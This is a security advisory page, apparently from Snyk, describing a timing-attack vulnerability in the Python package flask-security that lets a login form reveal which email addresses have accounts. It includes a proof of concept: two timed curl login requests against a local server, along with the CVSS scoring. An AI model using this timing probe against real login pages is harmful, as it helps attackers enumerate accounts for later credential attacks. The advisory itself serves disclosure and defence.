Timing Attack Affecting flask-security package, versions [0,]


Severity

Recommended
0.0
medium
0
10

CVSS assessment made by Snyk's Security Team

    Threat Intelligence

    Exploit Maturity
    Proof of concept

Do your applications use this vulnerable package?

In a few clicks we can analyze your entire application and see what components are vulnerable in your application, and suggest you quick fixes.

Test your applications
  • Snyk ID SNYK-PYTHON-FLASKSECURITY-2420091
  • published 9 Mar 2022
  • disclosed 9 Mar 2022
  • credit cancan101

Introduced: 9 Mar 2022

CVE NOT AVAILABLE CWE-208 Open this link in a new tab

How to fix?

A fix was pushed into the master branch but not yet published.

Overview

Flask-Security is a Simple security for Flask apps.

Affected versions of this package are vulnerable to Timing Attack. The time it takes to process a login request is considerably less if the user-specified doesn't exist than if the password is incorrect. This can be used as a user enumeration attack, even if the login error messages were customized to avoid this.

PoC:

$ time curl 'http://localhost:5000/login' --data 'next=&email=not%40existing.com&password=12312312312&next=&submit=Login' -s> /dev/null
curl 'http://localhost:5000/login' --data  -s > /dev/null  0,02s user 0,00s system 43% cpu 0,037 total
$ time curl 'http://localhost:5000/login' --data 'next=&email=existing%40gmail.com&password=12312312312&next=&submit=Login' -s> /dev/null
curl 'http://localhost:5000/login' --data  -s > /dev/null  0,01s user 0,01s system 4% cpu 0,401 total

CVSS Scores

version 3.1
Expand this section

Snyk

Recommended
6.5 medium
  • Attack Vector (AV)
    Network
  • Attack Complexity (AC)
    Low
  • Privileges Required (PR)
    Low
  • User Interaction (UI)
    None
  • Scope (S)
    Unchanged
  • Confidentiality (C)
    High
  • Integrity (I)
    None
  • Availability (A)
    None